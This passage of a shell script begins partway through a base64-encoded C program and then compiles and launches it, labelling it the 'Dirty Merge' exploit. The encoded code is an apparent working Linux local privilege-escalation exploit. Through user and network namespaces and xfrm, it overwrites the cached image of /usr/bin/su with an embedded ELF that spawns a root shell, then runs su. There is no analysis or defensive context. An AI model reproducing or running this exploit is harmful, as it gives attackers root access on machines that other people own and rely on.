NhZ2U6ICVzIDx0YXJnZXQtZmlsZT4gPG9mZnNldD4gPGhleC1ieXRlcz5cbiIsIHByb2cpOwoJZnByaW50ZihzdGRlcnIsICJleGFtcGxlOiAlcyAvcGF0aC90by90YXJnZXQgMCA0MjQzNDQ0NVxuIiwgcHJvZyk7Cn0KCnN0YXRpYyBjb25zdCB1aW50OF90IHNoZWxsX2VsZltQQVlMT0FEX0xFTl0gPSB7CgkweDdmLDB4NDUsMHg0YywweDQ2LDB4MDIsMHgwMSwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLAoJMHgwMiwweDAwLDB4M2UsMHgwMCwweDAxLDB4MDAsMHgwMCwweDAwLDB4NzgsMHgwMCwweDQwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwKCTB4NDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsCgkweDAwLDB4MDAsMHgwMCwweDAwLDB4NDAsMHgwMCwweDM4LDB4MDAsMHgwMSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLAoJMHgwMSwweDAwLDB4MDAsMHgwMCwweDA1LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwKCTB4MDAsMHgwMCwweDQwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0MCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsCgkweGI4LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhiOCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLAoJMHgwMCwweDEwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzEsMHhmZiwweDMxLDB4ZjYsMHgzMSwweGMwLDB4YjAsMHg2YSwKCTB4MGYsMHgwNSwweGIwLDB4NjksMHgwZiwweDA1LDB4YjAsMHg3NCwweDBmLDB4MDUsMHg2YSwweDAwLDB4NDgsMHg4ZCwweDA1LDB4MTIsCgkweDAwLDB4MDAsMHgwMCwweDUwLDB4NDgsMHg4OSwweGUyLDB4NDgsMHg4ZCwweDNkLDB4MTIsMHgwMCwweDAwLDB4MDAsMHgzMSwweGY2LAoJMHg2YSwweDNiLDB4NTgsMHgwZiwweDA1LDB4NTQsMHg0NSwweDUyLDB4NGQsMHgzZCwweDc4LDB4NzQsMHg2NSwweDcyLDB4NmQsMHgwMCwKCTB4MmYsMHg2MiwweDY5LDB4NmUsMHgyZiwweDczLDB4NjgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsCn07CgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3YpCnsKCXVuc2lnbmVkIGNoYXIgKmRlc2lyZWQ7Cgl1aW50NjRfdCBmaWxlX3NpemUsIGJ5dGVfb2ZmOwoJc2l6ZV90IGRlc2lyZWRfbGVuLCBzYW1wbGVfbGVuOwoJaW50IHJldDsKCgoJc2V0dmJ1ZihzdGRvdXQsIE5VTEwsIF9JT05CRiwgMCk7CgoJcHJpbnRmKENfQkNZTiAiWypdIiBDX1JFU0VUCgkgICAgICAgIiB1aWQ9IiBDX0JXSFQgIiVkIiBDX1JFU0VUCgkgICAgICAgIiBldWlkPSIgQ19CV0hUICIlZCIgQ19SRVNFVAoJICAgICAgICIgZ2lkPSIgQ19CV0hUICIlZCIgQ19SRVNFVAoJICAgICAgICIgZWdpZD0iIENfQldIVCAiJWQiIENfUkVTRVQgIlxuIiwKCSAgICAgICBnZXR1aWQoKSwgZ2V0ZXVpZCgpLCBnZXRnaWQoKSwgZ2V0ZWdpZCgpKTsKCXByaW50ZihDX0JDWU4gIlsqXSIgQ19SRVNFVAoJICAgICAgICIgbW9kZT14ZnJtX2VzcGludGNwX3BhZ2VjYWNoZV9yZXBsYWNlIGNvbGxhdGVyYWw9YWZ0ZXJcbiIpOwoJcHJpbnRmKCJcbiIpOwoKLy8gICAgICAgIHN5c3RlbSgiY3AgL2Jpbi9jYXQgL3RtcC90ZXN0Iik7Ci8vICAgICAgICBmaWxlX3NpemUgPSB1c2VfZXhpc3RpbmdfdGFyZ2V0KCIvdG1wL3Rlc3QiKTsKICAgICAgICBmaWxlX3NpemUgPSB1c2VfZXhpc3RpbmdfdGFyZ2V0KCIvdXNyL2Jpbi9zdSIpOwoJYnl0ZV9vZmYgPSAwOwoJZGVzaXJlZCA9ICh1bnNpZ25lZCBjaGFyICopc2hlbGxfZWxmOwoJZGVzaXJlZF9sZW4gPSBQQVlMT0FEX0xFTjsKCglwcmludGYoQ19CQ1lOICJbKl0iIENfUkVTRVQgIiB0YXJnZXQ9JXMgc2l6ZT0lbGx1XG4iLAoJICAgICAgIHRhcmdldF9maWxlLCAodW5zaWduZWQgbG9uZyBsb25nKWZpbGVfc2l6ZSk7Cgl2ZXJpZnlfd3JpdGVfZGVuaWVkKCJvdXRlciIpOwoJc2V0dXBfdXNlcl9uZXRuc194ZnJtKCk7Cgl2ZXJpZnlfd3JpdGVfZGVuaWVkKCJ1c2VybnNfcm9vdF9tYXBwZWRfdG9fb3V0ZXJfdXNlciIpOwoKCXJldCA9IHJlcGxhY2VfZXhpc3RpbmdfYnl0ZXNfYWZ0ZXIoYnl0ZV9vZmYsIGRlc2lyZWQsIGRlc2lyZWRfbGVuLAoJCQkJCSAgIGZpbGVfc2l6ZSk7CglpZiAobnNiX2hlbHBlcl9waWQgPiAwKQoJCWtpbGwobnNiX2hlbHBlcl9waWQsIFNJR1RFUk0pOwoJLyogcmVzZXQgc2Nyb2xsIHJlZ2lvbjsgc29tZSB0ZXJtaW5hbHMgaG9tZSB0aGUgY3Vyc29yIG9uIFwwMzNbciBzbwoJICogZXhwbGljaXRseSBqdW1wIHRvIHRoZSBsYXN0IHJvdyBzbyBQUzEgbGFuZHMgYmVsb3cgb3VyIG91dHB1dCAqLwoJd3JpdGUoU1RET1VUX0ZJTEVOTywgIlwwMzNbclwwMzNbOTk5OTsxSFwwMzNbPzI1aFxuIiwgMTkpOwoJZXhlY3ZlKCIvdXNyL2Jpbi9zdSIsIE5VTEwsIE5VTEwpOwoJcmV0dXJuIHJldDsKfQo=
__B64__
cd "$WORK"
echo "[*] Dirty Merge: compiling exploit..."
gcc -O2 -Wall -Wextra -static -o exploit exploit.c 2>/dev/null \
|| gcc -O2 -static -o exploit exploit.c 2>/dev/null \
|| gcc -O2 -o exploit exploit.c
echo "[*] Dirty Merge: compiled, launching..."
exec ./exploit "$@"